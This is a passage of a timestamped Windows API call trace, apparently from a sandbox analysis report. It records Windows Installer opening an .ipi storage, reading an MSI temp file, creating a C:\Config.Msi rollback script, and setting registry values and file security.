phkResult=0x34a748*=0x368) returned 0x0 [0149.816] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.816] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\1876f00.ipi" (normalized: "c:\\windows\\installer\\1876f00.ipi")) returned 0x20 [0149.817] lstrlenW (lpString="C:\\Windows\\Installer\\1876f00.ipi") returned 32 [0149.817] StgOpenStorage (in: pwcsName="C:\\Windows\\Installer\\1876f00.ipi", pstgPriority=0x0, grfMode=0x20, snbExclude=0x0, reserved=0x0, ppstgOpen=0x10ce268 | out: ppstgOpen=0x10ce268*=0x2125110) returned 0x0 [0149.823] IUnknown:AddRef (This=0x2125110) returned 0x2 [0149.823] IStorage:Stat (in: This=0x2125110, pstatstg=0x10ce160, grfStatFlag=0x0 | out: pstatstg=0x10ce160) returned 0x0 [0149.823] lstrlenW (lpString="C:\\Windows\\Installer\\1876f00.ipi") returned 32 [0149.823] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x10ce158 | out: ppMalloc=0x10ce158*=0x7fefd6b5380) returned 0x0 [0149.823] IMalloc:Free (This=0x7fefd6b5380, pv=0x2104ac0) [0149.823] IUnknown:AddRef (This=0x7fefd6b5380) returned 0x1 [0149.823] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.823] IUnknown:Release (This=0x2125110) returned 0x1 [0149.824] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䕙䇲䆸㲷䠧", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x2 | out: ppstm=0x2) returned 0x0 [0149.824] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.824] IUnknown:Release (This=0x32e790) returned 0x0 [0149.824] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䕙䇲䆸㷷䐤䠨", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x32e790 | out: ppstm=0x32e790*=0x7fefd69e520) returned 0x0 [0149.825] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.825] IUnknown:Release (This=0x32e790) returned 0x0 [0149.825] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䒕䒪㾱䈶䠵", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x32e790 | out: ppstm=0x32e790*=0x7fefd69e520) returned 0x0 [0149.826] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.826] IUnknown:Release (This=0x32e790) returned 0x0 [0149.826] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䈜䈯䗦䒬䖱", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x32e790 | out: ppstm=0x32e790*=0x7fefd69e520) returned 0x0 [0149.826] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.826] IUnknown:Release (This=0x32e790) returned 0x0 [0149.827] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䒏䇯䕨䠶", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x32e790 | out: ppstm=0x32e790*=0x7fefd69e520) returned 0x0 [0149.827] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.827] IUnknown:Release (This=0x32e790) returned 0x0 [0149.827] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䕙䓲䕨䌷䖨", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x32e790 | out: ppstm=0x32e790*=0x7fefd69e520) returned 0x0 [0149.827] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.828] IUnknown:Release (This=0x32e790) returned 0x0 [0149.828] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䌝䈰䗜䐤㵳䚲", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x32e790 | out: ppstm=0x32e790*=0x7fefd69e520) returned 0x0 [0149.828] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.828] IUnknown:Release (This=0x32e790) returned 0x0 [0149.828] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䌝䈰䗜䐤㱳䊬䠫", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x32e790 | out: ppstm=0x32e790*=0x7fefd69e520) returned 0x0 [0149.829] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.829] IUnknown:Release (This=0x32e790) returned 0x0 [0149.829] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䄍䄷䄥䈶䄙䋷", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x32e790 | out: ppstm=0x32e790*=0x7fefd69e520) returned 0x0 [0149.834] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.834] IUnknown:Release (This=0x32e790) returned 0x0 [0149.834] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䌍䎶䕙䐲䗳", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x32e790 | out: ppstm=0x32e790*=0x7fefd69e520) returned 0x0 [0149.835] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.835] IUnknown:Release (This=0x32e790) returned 0x0 [0149.835] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䌍䎶䈜䌵䏤", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x32e790 | out: ppstm=0x32e790*=0x7fefd69e520) returned 0x0 [0149.835] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.835] IUnknown:Release (This=0x32e790) returned 0x0 [0149.835] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䜜䗶䐨䈛䗶䕲㼨䔨䈸䆱䠨", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x32e790 | out: ppstm=0x32e790*=0x7fefd69e520) returned 0x0 [0149.836] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.836] IUnknown:Release (This=0x32e790) returned 0x0 [0149.836] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䉊䈷㻵䅨䒲䠷", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x32e790 | out: ppstm=0x32e790*=0x7fefd69e520) returned 0x0 [0149.836] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.836] IUnknown:Release (This=0x32e790) returned 0x0 [0149.836] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䕝䑤䄶䗦䒬㷱䐤䠨", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x32e790 | out: ppstm=0x32e790*=0x7fefd69e520) returned 0x0 [0149.836] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.836] IUnknown:Release (This=0x32e790) returned 0x0 [0149.836] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䕝䑤䄶䗦䒬㫱䊨䑬䌝䈰䒕䠺", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x32e790 | out: ppstm=0x32e790*=0x7fefd69e520) returned 0x0 [0149.837] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.837] IUnknown:Release (This=0x32e790) returned 0x0 [0149.837] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䕝䑤䄶䗦䒬㫱䊨䑬䌝䈰䌑䋪", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x32e790 | out: ppstm=0x32e790*=0x7fefd69e520) returned 0x0 [0149.837] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.837] IUnknown:Release (This=0x32e790) returned 0x0 [0149.837] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䘖䗯㹬䆤䄮䈪䕝䑤䄶䗦䒬䠱", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce180, ppstm=0x32e790 | out: ppstm=0x32e790*=0x7fefd69e520) returned 0x0 [0149.837] IStream:Stat (in: This=0x32e790, pstatstg=0x10ce0e0, grfStatFlag=0x1 | out: pstatstg=0x10ce0e0) returned 0x0 [0149.837] IUnknown:Release (This=0x32e790) returned 0x0 [0149.838] IUnknown:Release (This=0x2125110) returned 0x0 [0149.839] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cdf90, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0149.839] lstrlenW (lpString="C:\\Windows") returned 10 [0149.839] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.839] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\MSI8868.tmp" (normalized: "c:\\windows\\installer\\msi8868.tmp")) returned 0x20 [0149.839] CreateFileW (lpFileName="C:\\Windows\\Installer\\MSI8868.tmp" (normalized: "c:\\windows\\installer\\msi8868.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100080, hTemplateFile=0x0) returned 0x368 [0149.840] GetFileType (hFile=0x368) returned 0x1 [0149.840] GetLastError () returned 0x0 [0149.840] GetFileSize (in: hFile=0x368, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x68846 [0149.840] ReadFile (in: hFile=0x368, lpBuffer=0x5c3085c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x5c30c5c, lpOverlapped=0x0 | out: lpBuffer=0x5c3085c*, lpNumberOfBytesRead=0x5c30c5c*=0x400, lpOverlapped=0x0) returned 1 [0149.840] memcpy (in: _Dst=0x10cdfb8, _Src=0x5c3085c, _Size=0x2 | out: _Dst=0x10cdfb8) returned 0x10cdfb8 [0149.840] SetFilePointer (in: hFile=0x368, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.840] SetFilePointer (in: hFile=0x368, lDistanceToMove=428092, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6883c [0149.840] ReadFile (in: hFile=0x368, lpBuffer=0x5c3085c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x5c30c5c, lpOverlapped=0x0 | out: lpBuffer=0x5c3085c*, lpNumberOfBytesRead=0x5c30c5c*=0xa, lpOverlapped=0x0) returned 1 [0149.840] memcpy (in: _Dst=0x10ce168, _Src=0x5c3085c, _Size=0x4 | out: _Dst=0x10ce168) returned 0x10ce168 [0149.840] memcpy (in: _Dst=0x10ce168, _Src=0x5c30860, _Size=0x2 | out: _Dst=0x10ce168) returned 0x10ce168 [0149.840] memcpy (in: _Dst=0x10ce168, _Src=0x5c30862, _Size=0x4 | out: _Dst=0x10ce168) returned 0x10ce168 [0149.840] SetFilePointer (in: hFile=0x368, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.840] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.842] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.842] GlobalLock (hMem=0xf40208) returned 0x3e92c70 [0149.842] GlobalLock (hMem=0xf40228) returned 0x33bd20 [0149.842] GlobalLock (hMem=0xf40218) returned 0x5c30c90 [0149.842] GlobalLock (hMem=0xf401f8) returned 0x2e1c30 [0149.843] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cdba0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0149.843] lstrlenW (lpString="C:\\Windows") returned 10 [0149.843] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0149.843] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0149.843] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0149.843] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.843] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0149.843] UrlIsW (pszUrl="C:", UrlIs=0x0) returned 0 [0149.843] lstrlenW (lpString="C:") returned 2 [0149.843] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.843] GetFileAttributesW (lpFileName="C:" (normalized: "c:")) returned 0x10 [0149.844] lstrlenW (lpString="Config.Msi") returned 10 [0149.844] wcsstr (_Str="Config.Msi", _SubStr="\\\\") returned 0x0 [0149.844] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), fInfoLevelId=0x0, lpFileInformation=0x10cdcd0 | out: lpFileInformation=0x10cdcd0*(dwFileAttributes=0x10cdd50, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xf791a7da, ftLastAccessTime.dwLowDateTime=0x7fe, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x3, nFileSizeHigh=0x0, nFileSizeLow=0x10ce178)) returned 0 [0149.844] GetLastError () returned 0x2 [0149.844] GetLastError () returned 0x2 [0149.844] CreateDirectoryW (lpPathName="C:\\Config.Msi" (normalized: "c:\\config.msi"), lpSecurityAttributes=0x0) returned 1 [0149.847] GetTempFileNameW (in: lpPathName="C:\\Config.Msi", lpPrefixString="MSI", uUnique=0x0, lpTempFileName=0x10cddf0 | out: lpTempFileName="C:\\Config.Msi\\MSIA7BD.tmp" (normalized: "c:\\config.msi\\msia7bd.tmp")) returned 0xa7bd [0149.848] DeleteFileW (lpFileName="C:\\Config.Msi\\MSIA7BD.tmp" (normalized: "c:\\config.msi\\msia7bd.tmp")) returned 1 [0149.848] GetLastError () returned 0x0 [0149.849] RemoveDirectoryW (lpPathName="C:\\Config.Msi" (normalized: "c:\\config.msi")) returned 1 [0149.849] GetLastError () returned 0x0 [0149.849] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), fInfoLevelId=0x0, lpFileInformation=0x10cdf90 | out: lpFileInformation=0x10cdf90*(dwFileAttributes=0x10ce010, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xf791c1fd, ftLastAccessTime.dwLowDateTime=0x7fe, ftLastAccessTime.dwHighDateTime=0x1, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x3, nFileSizeHigh=0x0, nFileSizeLow=0x10ce178)) returned 0 [0149.849] GetLastError () returned 0x2 [0149.849] GetLastError () returned 0x2 [0149.850] GetSecurityDescriptorLength (pSecurityDescriptor=0x7fef7b24690) returned 0x58 [0149.852] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi" (normalized: "c:\\config.msi"), fInfoLevelId=0x0, lpFileInformation=0x10cdcb0 | out: lpFileInformation=0x10cdcb0*(dwFileAttributes=0x10cdd30, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xf791a7da, ftLastAccessTime.dwLowDateTime=0x7fe, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x3728b8, nFileSizeHigh=0x0, nFileSizeLow=0x2af29d0)) returned 0 [0149.852] GetLastError () returned 0x2 [0149.852] GetLastError () returned 0x2 [0149.852] CreateDirectoryW (lpPathName="C:\\Config.Msi" (normalized: "c:\\config.msi"), lpSecurityAttributes=0x0) returned 1 [0149.854] RegSetValueExW (in: hKey=0x1dc, lpValueName="C:\\Config.Msi\\", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0149.863] IsValidSecurityDescriptor (pSecurityDescriptor=0x10cddf0) returned 1 [0149.863] GetSecurityDescriptorControl (in: pSecurityDescriptor=0x10cddf0, pControl=0x10cdd90, lpdwRevision=0x10cdd98 | out: pControl=0x10cdd90, lpdwRevision=0x10cdd98) returned 1 [0149.863] GetSecurityDescriptorOwner (in: pSecurityDescriptor=0x10cddf0, pOwner=0x10cdd60, lpbOwnerDefaulted=0x10cdda0 | out: pOwner=0x10cdd60*=0x10cde38*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), lpbOwnerDefaulted=0x10cdda0) returned 1 [0149.863] GetSecurityDescriptorGroup (in: pSecurityDescriptor=0x10cddf0, pGroup=0x10cdda8, lpbGroupDefaulted=0x10cdda0 | out: pGroup=0x10cdda8*=0x0, lpbGroupDefaulted=0x10cdda0) returned 1 [0149.868] SetFileSecurityW (lpFileName="C:\\Config.Msi\\", SecurityInformation=0x5, pSecurityDescriptor=0x10cddf0) returned 1 [0149.868] GetCurrentThread () returned 0xfffffffffffffffe [0149.868] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x10cdce0 | out: TokenHandle=0x10cdce0*=0x7) returned 0 [0149.868] GetLastError () returned 0x3f0 [0149.868] GetCurrentProcess () returned 0xffffffffffffffff [0149.868] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x10cdce0 | out: TokenHandle=0x10cdce0*=0x1f8) returned 1 [0149.869] AdjustTokenPrivileges (in: TokenHandle=0x1f8, DisableAllPrivileges=0, NewState=0x7fef7b237fc*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x1c, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0149.869] CloseHandle (hObject=0x1f8) returned 1 [0149.869] GetLastError () returned 0x0 [0149.869] SetFileAttributesW (lpFileName="C:\\Config.Msi\\", dwFileAttributes=0x6) returned 1 [0149.869] _vsnwprintf (in: _Buffer=0x10cde10, _BufferCount=0x8, _Format="%x", _ArgList=0x10cdd68 | out: _Buffer="1876f01") returned 7 [0149.869] GetFileAttributesExW (in: lpFileName="C:\\Config.Msi\\1876f01.rbs" (normalized: "c:\\config.msi\\1876f01.rbs"), fInfoLevelId=0x0, lpFileInformation=0x10cdcd0 | out: lpFileInformation=0x10cdcd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xf791b174, ftLastAccessTime.dwLowDateTime=0x7fe, ftLastAccessTime.dwHighDateTime=0x10cdd68, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0xf79e1fb3, nFileSizeHigh=0x7fe, nFileSizeLow=0x0)) returned 0 [0149.869] GetLastError () returned 0x2 [0149.869] CreateFileW (lpFileName="C:\\Config.Msi\\1876f01.rbs" (normalized: "c:\\config.msi\\1876f01.rbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x10ce118, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x100080, hTemplateFile=0x0) returned 0x1f8 [0149.870] GetFileType (hFile=0x1f8) returned 0x1 [0149.870] CloseHandle (hObject=0x1f8) returned 1 [0149.870] lstrlenW (lpString="C:\\Config.Msi\\1876f01.rbs") returned 25 [0149.870] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.870] GetFileAttributesW (lpFileName="C:\\Config.Msi\\1876f01.rbs" (normalized: "c:\\config.msi\\1876f01.rbs")) returned 0x20 [0149.870] CreateFileW (lpFileName="C:\\Config.Msi\\1876f01.rbs" (normalized: "c:\\config.msi\\1876f01.rbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100080, hTemplateFile=0x0) returned 0x1f8 [0149.871] GetFileType (hFile=0x1f8) returned 0x1 [0149.871] GetLastError () returned 0xb7 [0149.871] GetFileSize (in: hFile=0x1f8, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x0 [0149.871] GetLocalTime (in: lpSystemTime=0x10ce140 | out: lpSystemTime=0x10ce140*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x1f)) [0149.871] SystemTimeToFileTime (in: lpSystemTime=0x10ce140, lpFileTime=0x10ce170 | out: lpFileTime=0x10ce170) returned 1 [0149.871] FileTimeToDosDateTime (in: lpFileTime=0x10ce170, lpFatDate=0x10ce160, lpFatTime=0x10ce168 | out: lpFatDate=0x10ce160, lpFatTime=0x10ce168) returned 1 [0149.871] GetLocalTime (in: lpSystemTime=0x10ce0a0 | out: lpSystemTime=0x10ce0a0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x1f)) [0149.871] SystemTimeToFileTime (in: lpSystemTime=0x10ce0a0, lpFileTime=0x10ce0c0 | out: lpFileTime=0x10ce0c0) returned 1 [0149.871] lstrlenW (lpString="#") returned 1 [0149.871] _vsnwprintf (in: _Buffer=0x10ce090, _BufferCount=0xb, _Format="%d", _ArgList=0x10ce088 | out: _Buffer="30976260") returned 8 [0149.871] lstrlenW (lpString="30976260") returned 8 [0149.871] _vsnwprintf (in: _Buffer=0x10ce090, _BufferCount=0xb, _Format="%d", _ArgList=0x10ce088 | out: _Buffer="1117917040") returned 10 [0149.872] lstrlenW (lpString="1117917040") returned 10 [0149.872] _vsnwprintf (in: _Buffer=0x335930, _BufferCount=0x103, _Format="%sLow", _ArgList=0x10ce0d8 | out: _Buffer="C:\\Config.Msi\\1876f01.rbsLow") returned 28 [0149.872] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.873] RegSetValueExW (in: hKey=0x1ec, lpValueName="C:\\Config.Msi\\1876f01.rbs", Reserved=0x0, dwType=0x4, lpData=0x10cdf10*=0x1d8a904, cbData=0x4 | out: lpData=0x10cdf10*=0x1d8a904) returned 0x0 [0149.874] RegSetValueExW (in: hKey=0x1ec, lpValueName="C:\\Config.Msi\\1876f01.rbsLow", Reserved=0x0, dwType=0x4, lpData=0x10cdf10*=0x42a20f70, cbData=0x4 | out: lpData=0x10cdf10*=0x42a20f70) returned 0x0 [0149.874] ReadFile (in: hFile=0x368, lpBuffer=0x5c3085c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x5c30c5c, lpOverlapped=0x0 | out: lpBuffer=0x5c3085c*, lpNumberOfBytesRead=0x5c30c5c*=0x400, lpOverlapped=0x0) returned 1 [0149.874] memcpy (in: _Dst=0x10cdf58, _Src=0x5c3085c, _Size=0x2 | out: _Dst=0x10cdf58) returned 0x10cdf58 [0149.875] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.879] GetTickCount () returned 0x187a7da [0149.879] memcpy (in: _Dst=0x10cdf58, _Src=0x5c30894, _Size=0x2 | out: _Dst=0x10cdf58) returned 0x10cdf58 [0149.879] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cde10, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0149.879] lstrlenW (lpString="C:\\Windows") returned 10 [0149.879] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0149.879] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0149.879] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0149.879] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.879] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0149.880] wcsstr (_Str="{AC4583F8-6694-473E-BB77-32CDFC9BA940}", _SubStr="\\\\") returned 0x0 [0149.881] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.882] memcpy (in: _Dst=0x37b01ac, _Src=0x10cdda8, _Size=0x2 | out: _Dst=0x37b01ac) returned 0x37b01ac [0149.882] memcpy (in: _Dst=0x37b01ae, _Src=0x10cdda8, _Size=0x2 | out: _Dst=0x37b01ae) returned 0x37b01ae [0149.882] memcpy (in: _Dst=0x37b01b0, _Src=0x10cdda8, _Size=0x4 | out: _Dst=0x37b01b0) returned 0x37b01b0 [0149.882] memcpy (in: _Dst=0x37b01b4, _Src=0x10cdda8, _Size=0x2 | out: _Dst=0x37b01b4) returned 0x37b01b4 [0149.882] memcpy (in: _Dst=0x37b01b6, _Src=0x10cdda8, _Size=0x4 | out: _Dst=0x37b01b6) returned 0x37b01b6 [0149.882] memcpy (in: _Dst=0x37b01ba, _Src=0x10cdda8, _Size=0x2 | out: _Dst=0x37b01ba) returned 0x37b01ba [0149.883] memcpy (in: _Dst=0x37b01bc, _Src=0x10cdda8, _Size=0x4 | out: _Dst=0x37b01bc) returned 0x37b01bc [0149.883] WriteFile (in: hFile=0x1f8, lpBuffer=0x37b01ac*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x10cdda0, lpOverlapped=0x0 | out: lpBuffer=0x37b01ac*, lpNumberOfBytesWritten=0x10cdda0*=0x14, lpOverlapped=0x0) returned 1 [0149.883] memcpy (in: _Dst=0x10cdf58, _Src=0x5c309c0, _Size=0x2 | out: _Dst=0x10cdf58) returned 0x10cdf58 [0149.883] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.891] memcpy (in: _Dst=0x37b01ac, _Src=0x10cdda8, _Size=0x2 | out: _Dst=0x37b01ac) returned 0x37b01ac [0149.891] memcpy (in: _Dst=0x37b01ae, _Src=0x10cdda8, _Size=0x2 | out: _Dst=0x37b01ae) returned 0x37b01ae [0149.891] memcpy (in: _Dst=0x37b01b0, _Src=0x10cdda8, _Size=0x4 | out: _Dst=0x37b01b0) returned 0x37b01b0 [0149.891] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cde70, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0149.891] lstrlenW (lpString="C:\\Windows") returned 10 [0149.891] GetLocalTime (in: lpSystemTime=0x10cd920 | out: lpSystemTime=0x10cd920*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x2e)) [0149.892] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cd920, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:57") returned 9 [0149.892] GetLocalTime (in: lpSystemTime=0x10cd920 | out: lpSystemTime=0x10cd920*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x3e)) [0149.892] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cd920, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:57") returned 9 [0149.892] GetLocalTime (in: lpSystemTime=0x10cd950 | out: lpSystemTime=0x10cd950*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x39, wMilliseconds=0x3e)) [0149.892] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cd950, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:57") returned 9 [0149.892] memcpy (in: _Dst=0x10cdbb0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10cdbb0) returned 0x10cdbb0 [0149.893] memcpy (in: _Dst=0x29f80be, _Src=0x10cdbb0, _Size=0x10 | out: _Dst=0x29f80be) returned 0x29f80be [0149.893] memcpy (in: _Dst=0x29f80ce, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x29f80ce) returned 0x29f80ce [0149.893] memcpy (in: 